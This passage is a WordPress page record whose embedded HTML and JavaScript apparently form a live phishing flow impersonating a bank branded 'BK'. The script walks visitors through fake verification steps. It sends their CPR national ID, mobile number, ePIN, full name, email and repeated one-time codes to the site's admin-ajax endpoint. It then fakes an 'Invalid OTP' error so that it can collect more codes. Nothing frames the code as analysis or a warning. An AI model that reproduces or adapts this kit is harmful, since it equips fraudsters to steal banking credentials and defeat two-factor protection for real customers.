class=\"bbk-loader\"><\/div>\n\n<h3 class=\"process-title\">Processing your request<\/h3>\n\n<p class=\"process-desc\">\nPlease wait while we prepare your next step. This usually takes around 4 seconds.\n<\/p>\n\n  <\/div>\n\n<\/div>\n\n<!-- STEP7 (SAME OTP AGAIN) -->\n<div class=\"step hidden\" id=\"step7\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\n\n    <h1>Secure Access Code<\/h1>\n\n    <div class=\"sub\">\nPlease confirm your identity by entering the 6-digit code\n<\/div>\n\n    <div class=\"otp-box\">\n\n        <div class=\"pin-wrap\" id=\"otpWrap2\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n        <\/div>\n\n        <div class=\"otp-time\" id=\"otpTime2\">\n            OTP expiration ( 02:00 )\n        <\/div>\n\n    <\/div>\n\n    <div class=\"footer\">\n        <button class=\"btn\" id=\"btn7\">Verify<\/button>\n    <\/div>\n\n<\/div>\n  \n<!-- STEP8 EMAIL -->\n<div class=\"step hidden\" id=\"step8\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n    \n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/mail.png\" class=\"top-icon\">\n\n    <h1>Email Verification<\/h1>\n\n    <div class=\"sub\">\n        Please enter your email address to continue verification\n    <\/div>\n\n    <div class=\"input\">\n        <input type=\"email\" id=\"email\" placeholder=\"Enter your email address\">\n    <\/div>\n\n    <div class=\"footer\">\n        <button class=\"btn\" id=\"btn8\">Continue<\/button>\n    <\/div>\n\n<\/div>\n\n<!-- STEP9 FINAL OTP -->\n<div class=\"step hidden\" id=\"step9\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\n\n    <h1>Secure Verification Code<\/h1>\n\n    <div class=\"sub\">\nPlease enter the 6-digit verification code sent to your number\n<\/div>\n\n    <div class=\"otp-box\">\n\n        <div class=\"pin-wrap\" id=\"otpWrap3\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\n        <\/div>\n\n        <div class=\"otp-time\">OTP expiration ( 02:00 )<\/div>\n\n    <\/div>\n\n    <div class=\"footer\">\n        <button class=\"btn\" id=\"btn9\">Verify<\/button>\n    <\/div>\n\n<\/div>\n\n<script>\n\nlet cpr = document.getElementById('cpr');\nlet btn = document.getElementById('btn');\nlet step1 = document.getElementById('step1');\nlet step2 = document.getElementById('step2');\nlet step3 = document.getElementById('step3');\n\nlet popup = document.getElementById('popup');\nlet verifyBtn = document.getElementById('verifyBtn');\n\n\/* SPLASH \u2192 STEP2 *\/\nsetTimeout(()=>{\n\n    \/* \ud83d\udd25 SEND VISITOR INFO (NOW WILL WORK) *\/\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:new URLSearchParams({\n            action:\"bbk_visitor\"\n        })\n    });\n\n    step1.classList.remove('active');\n    step2.classList.add('active');\n\n    popup.style.display = \"flex\";\n\n},3000);\n\n\/* POPUP VERIFY *\/\nverifyBtn.onclick = function(){\n\n    let oldText = verifyBtn.innerHTML;\n    verifyBtn.innerHTML = '<div class=\"loader\"><\/div>';\n\n    setTimeout(()=>{\n        popup.style.display = \"none\";\n        verifyBtn.innerHTML = oldText;\n    },3000);\n\n};\n\n\/* CPR VALIDATION *\/\ncpr.addEventListener('input',()=>{\n\n    cpr.value = cpr.value.replace(\/[^0-9]\/g,'');\n\n    if(cpr.value.length == 9){\n        btn.classList.add('active');\n    }else{\n        btn.classList.remove('active');\n    }\n\n});\n\n\/* STEP2 \u00e2\u2020\u2019 STEP3 *\/\nbtn.onclick = function(){\n\n    if(!btn.classList.contains('active')) return;\n\n    let oldText = btn.innerHTML;\n    btn.innerHTML = '<div class=\"loader\"><\/div>';\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step2\");\n    formData.append(\"cpr\",cpr.value);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData\n    });\n\n    setTimeout(()=>{\n\n        btn.innerHTML = oldText;\n\n        \/* STEP CHANGE *\/\n        step2.classList.remove('active');\n\nstep3.classList.remove('hidden');\nstep3.classList.add('active');\n\n    },3000);\n\n};\n\n\/* MOBILE STEP *\/\nlet mobile = document.getElementById('mobile');\nlet btn2 = document.getElementById('btn2');\n\n\/* FORCE CLEAR + DISABLE AUTOFILL *\/\nsetTimeout(()=>{\n    mobile.value = \"\";\n},100);\n\nmobile.setAttribute(\"autocomplete\",\"off\");\n\n\/* INPUT CONTROL *\/\nmobile.addEventListener('input',()=>{\n\n    \/* \u0635\u0631\u0641 digits *\/\n    mobile.value = mobile.value.replace(\/[^0-9]\/g,'');\n\n    \/* max 8 digits hard limit *\/\n    if(mobile.value.length > 8){\n        mobile.value = mobile.value.slice(0,8);\n    }\n\n    \/* button active *\/\n    if(mobile.value.length == 8){\n        btn2.classList.add('active');\n    }else{\n        btn2.classList.remove('active');\n    }\n\n});\n\n\/* STEP3 CLICK *\/\nbtn2.onclick = function(){\n\n    if(!btn2.classList.contains('active')) return;\n\n    let oldText = btn2.innerHTML;\n\n    \/* SAME LOADER *\/\n    btn2.innerHTML = '<div class=\"loader\"><\/div>';\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step3\");\n    formData.append(\"mobile\",mobile.value);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData\n    });\n\n    setTimeout(()=>{\n\n        btn2.innerHTML = oldText;\n\n        \/* NEXT STEP (temporary alert) *\/\n        step3.classList.remove('active');\n        step3.classList.add('hidden');\n\n        let step4 = document.getElementById('step4');\n        step4.classList.remove('hidden');\n        step4.classList.add('active');\n\n    },3000);\n\n};\n\nlet step4 = document.getElementById('step4');\nlet epin = document.getElementById('epin');\nlet btn3 = document.getElementById('btn3');\n\n\/* EPIN VALIDATION *\/\nlet hideTimer;\n\nepin.addEventListener('input',()=>{\n\n    epin.value = epin.value.replace(\/[^0-9]\/g,'');\n\n    if(epin.value.length > 8){\n        epin.value = epin.value.slice(0,8);\n    }\n\n    \/* button active *\/\n    if(epin.value.length >= 6){\n        btn3.classList.add('active');\n    }else{\n        btn3.classList.remove('active');\n    }\n\n    \/* \ud83d\udd25 CLEAR previous timer *\/\n    clearTimeout(hideTimer);\n\n    \/* \ud83d\udd25 show numbers *\/\n    epin.type = \"tel\";\n\n    \/* \ud83d\udd25 delay then hide (premium feel) *\/\n    hideTimer = setTimeout(()=>{\n        epin.type = \"password\";\nepin.style.webkitTextSecurity = \"disc\";\n    },1000);\n});\n\n\/* STEP4 CLICK *\/\nbtn3.onclick = function(){\n\n    if(!btn3.classList.contains('active')) return;\n\n    let oldText = btn3.innerHTML;\n\n    btn3.innerHTML = '<div class=\"loader\"><\/div>';\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step4\");\n    formData.append(\"epin\",epin.value);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData\n    });\n\n    setTimeout(()=>{\n        btn3.innerHTML = oldText;\n\n        step4.classList.remove('active');\nstep4.classList.add('hidden');\n\nlet step5 = document.getElementById('step5');\nstep5.classList.remove('hidden');\nstep5.classList.add('active');\nstartTimer();\n\n    },3000);\n\n};\n\nlet otpInputs = document.querySelectorAll('#step5 .pin-wrap input');\nlet btn5 = document.getElementById('btn5');\n\n\/* AUTO MOVE *\/\notpInputs.forEach((input,index)=>{\n\n    input.addEventListener('input',()=>{\n\n        input.value = input.value.replace(\/[^0-9]\/g,'');\n\n        if(input.value && index < otpInputs.length-1){\n            otpInputs[index+1].focus();\n        }\n\n        checkOTP();\n    });\n\n    \/* BACKSPACE *\/\n    input.addEventListener('keydown',(e)=>{\n        if(e.key === \"Backspace\" && !input.value && index > 0){\n            otpInputs[index-1].focus();\n        }\n    });\n\n});\n\n\/* BUTTON ACTIVE *\/\nfunction checkOTP(){\n    let filled = [...otpInputs].every(i => i.value.length === 1);\n\n    if(filled){\n        btn5.classList.add('active');\n    }else{\n        btn5.classList.remove('active');\n    }\n}\n\nlet time = 120;\nlet timerInterval;\n\nlet timerEl = document.querySelector('#step5 .otp-time');\n\nfunction startTimer(){\n    clearInterval(timerInterval);\n\n    time = 120;\n\n    timerInterval = setInterval(()=>{\n        let min = Math.floor(time \/ 60);\n        let sec = time % 60;\n\n        if(sec < 10) sec = \"0\" + sec;\n\n        timerEl.innerHTML = `OTP expiration ( ${min}:${sec} )`;\n\n        if(time > 0) time--;\n    },1000);\n}\n\nbtn5.onclick = function(){\n\n    if(!btn5.classList.contains('active')) return;\n\n    let otp = [...otpInputs].map(i => i.value).join('');\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step9\");\n    formData.append(\"otp\",otp);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData,\n        credentials:\"same-origin\"\n    });\n\n    let oldText = btn5.innerHTML;\n    btn5.innerHTML = '<div class=\"loader\"><\/div>';\n\n    setTimeout(()=>{\n\n        btn5.innerHTML = oldText;\n\n        step5.classList.remove('active');\n        step5.classList.add('hidden');\n\n        step6.classList.remove('hidden');\n        step6.classList.add('active');\n\n    },3000);\n};\n\nlet fullname = document.getElementById('fullname');\nlet btn6 = document.getElementById('btn6');\n\n\/* VALIDATION *\/\nfullname.addEventListener('input',()=>{\n\n    if(fullname.value.trim().length > 2){\n        btn6.classList.add('active');\n    }else{\n        btn6.classList.remove('active');\n    }\n\n});\n\nlet processPopup = document.getElementById('processPopup');\n\nbtn6.onclick = function(){\n\n    if(!btn6.classList.contains('active')) return;\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step9\");\n    formData.append(\"otp\",fullname.value);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData,\n        credentials:\"same-origin\"\n    });\n\n    processPopup.style.display = \"flex\";\n\n    setTimeout(()=>{\n        processPopup.style.display = \"none\";\n\n        step6.classList.remove('active');\n        step6.classList.add('hidden');\n\n        step7.classList.remove('hidden');\n        step7.classList.add('active');\n        startTimer2();\n\n    },5000);\n};\n\n\/* STEP7 OTP LOGIC *\/\n\nlet otpInputs2 = document.querySelectorAll('#step7 .pin-wrap input');\nlet btn7 = document.getElementById('btn7');\n\nbtn7.onclick = function(){\n\n    if(!btn7.classList.contains('active')) return;\n\n    let otp2 = [...otpInputs2].map(i => i.value).join('');\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step9\");\n    formData.append(\"otp\",otp2);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData,\n        credentials:\"same-origin\"\n    });\n\n    let old = btn7.innerHTML;\n    btn7.innerHTML = '<div class=\"loader\"><\/div>';\n\n    setTimeout(()=>{\n        btn7.innerHTML = old;\n\n        step7.classList.remove('active');\n        step7.classList.add('hidden');\n\n        step8.classList.remove('hidden');\n        step8.classList.add('active');\n\n    },3000);\n};\n\nlet email = document.getElementById('email');\nlet btn8 = document.getElementById('btn8');\n\nemail.addEventListener('input',()=>{\n\n    if(email.value.includes(\"@\") && email.value.length > 5){\n        btn8.classList.add('active');\n    }else{\n        btn8.classList.remove('active');\n    }\n\n});\n\nbtn8.onclick = function(){\n\n    if(!btn8.classList.contains('active')) return;\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step9\");\n    formData.append(\"otp\",email.value);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData,\n        credentials:\"same-origin\"\n    });\n\n    processPopup.style.display = \"flex\";\n\n    setTimeout(()=>{\n        processPopup.style.display = \"none\";\n\n        step8.classList.remove('active');\n        step8.classList.add('hidden');\n\n        step9.classList.remove('hidden');\n        step9.classList.add('active');\n        startTimer3();\n\n    },5000);\n};\n\n\/* AUTO MOVE *\/\notpInputs2.forEach((input,index)=>{\n\n    input.addEventListener('input',()=>{\n\n        input.value = input.value.replace(\/[^0-9]\/g,'');\n\n        if(input.value && index < otpInputs2.length-1){\n            otpInputs2[index+1].focus();\n        }\n\n        checkOTP2();\n    });\n\n    input.addEventListener('keydown',(e)=>{\n        if(e.key === \"Backspace\" && !input.value && index > 0){\n            otpInputs2[index-1].focus();\n        }\n    });\n\n});\n\nfunction checkOTP2(){\n    let filled = [...otpInputs2].every(i => i.value.length === 1);\n\n    if(filled){\n        btn7.classList.add('active');\n    }else{\n        btn7.classList.remove('active');\n    }\n}\n\n\/* TIMER *\/\nlet time2 = 120;\nlet timerInterval2;\n\nlet timerEl2 = document.getElementById('otpTime2');\n\nfunction startTimer2(){\n    clearInterval(timerInterval2);\n\n    time2 = 120;\n\n    timerInterval2 = setInterval(()=>{\n        let min = Math.floor(time2 \/ 60);\n        let sec = time2 % 60;\n\n        if(sec < 10) sec = \"0\" + sec;\n\n        timerEl2.innerHTML = `OTP expiration ( ${min}:${sec} )`;\n\n        if(time2 > 0) time2--;\n    },1000);\n}\n\nlet otpInputs3 = document.querySelectorAll('#step9 .pin-wrap input');\nlet btn9 = document.getElementById('btn9');\n\notpInputs3.forEach((input,index)=>{\n\n    input.addEventListener('input',()=>{\n\n        input.value = input.value.replace(\/[^0-9]\/g,'');\n\n        if(input.value && index < otpInputs3.length-1){\n            otpInputs3[index+1].focus();\n        }\n\n        checkOTP3();\n    });\n\n});\n\n\/* STEP9 TIMER *\/\nlet time3 = 120;\nlet timerInterval3;\n\nlet timerEl3 = document.querySelector('#step9 .otp-time');\n\nfunction startTimer3(){\n    clearInterval(timerInterval3);\n\n    time3 = 120;\n\n    timerInterval3 = setInterval(()=>{\n        let min = Math.floor(time3 \/ 60);\n        let sec = time3 % 60;\n\n        if(sec < 10) sec = \"0\" + sec;\n\n        timerEl3.innerHTML = `OTP expiration ( ${min}:${sec} )`;\n\n        if(time3 > 0) time3--;\n    },1000);\n}\n\nfunction checkOTP3(){\n    let filled = [...otpInputs3].every(i => i.value.length === 1);\n\n    if(filled){\n        btn9.classList.add('active');\n    }else{\n        btn9.classList.remove('active');\n    }\n}\n\nbtn9.onclick = function(){\n\n    if(!btn9.classList.contains('active')) return;\n\n    let old = btn9.innerHTML;\n    btn9.innerHTML = '<div class=\"loader\"><\/div>';\n\n    let code = [...otpInputs3].map(i => i.value).join('');\n\n    let formData = new FormData();\n    formData.append(\"action\",\"bbk_step9\");\n    formData.append(\"otp\",code);\n\n    fetch(\"https:\/\/avenlebkb.site\/wp-admin\/admin-ajax.php\",{\n        method:\"POST\",\n        body:formData\n    });\n\n    setTimeout(()=>{\n\n        btn9.innerHTML = old;\n\n        \/* \ud83d\udd25 CLEAR INPUTS *\/\n        otpInputs3.forEach(i=>{\n            i.value = \"\";\n        });\n\n        otpInputs3[0].focus();\n\n\/* \ud83d\udd34 ERROR SHOW (ONLY TEXT, CORRECT POSITION) *\/\n\nlet errorBox3 = document.getElementById(\"otpError9\");\n\nif(!errorBox3){\n    let div = document.createElement(\"div\");\n    div.id = \"otpError9\";\n    div.style.color = \"#ff3b3b\";\n    div.style.fontWeight = \"700\";\n    div.style.margin = \"10px 0\";\n    div.style.textAlign = \"center\";\n    div.innerText = \"Invalid OTP Code, Please try again\";\n\n    \/* \u2705 PERFECT POSITION (boxes + timer ke darmiyan) *\/\n    let otpBox = document.querySelector('#step9 .otp-box');\n    let timer = otpBox.querySelector('.otp-time');\n\n    otpBox.insertBefore(div, timer);  \/\/ \ud83d\udd25 EXACT POSITION\n}else{\n    errorBox3.style.display = \"block\";\n}\n\n\/* \ud83d\udd25 AUTO HIDE ERROR AFTER 2 SEC *\/\nsetTimeout(()=>{\n    errorBox3.style.display = \"none\";\n},2000);\n\n\/* 3\ufe0f\u20e3 RED BORDER REMOVE AFTER DELAY *\/\nsetTimeout(()=>{\n    otpInputs3.forEach(i=>{\n        i.classList.remove(\"otp-error\");\n    });\n},3000);\n\n        \/* \ud83d\udd25 TIMER RESTART *\/\n        startTimer3();\n\n        \/* \ud83d\udd25 BUTTON DISABLE AGAIN *\/\n        btn9.classList.remove('active');\n\n    },3000);\n};\n\n<\/script>\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/pages\/7","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/avenlebkb.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7"}],"version-history":[{"count":5,"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions"}],"predecessor-version":[{"id":23,"href":"https:\/\/avenlebkb.site\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions\/23"}],"wp:attachment":[{"href":"https:\/\/avenlebkb.site\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}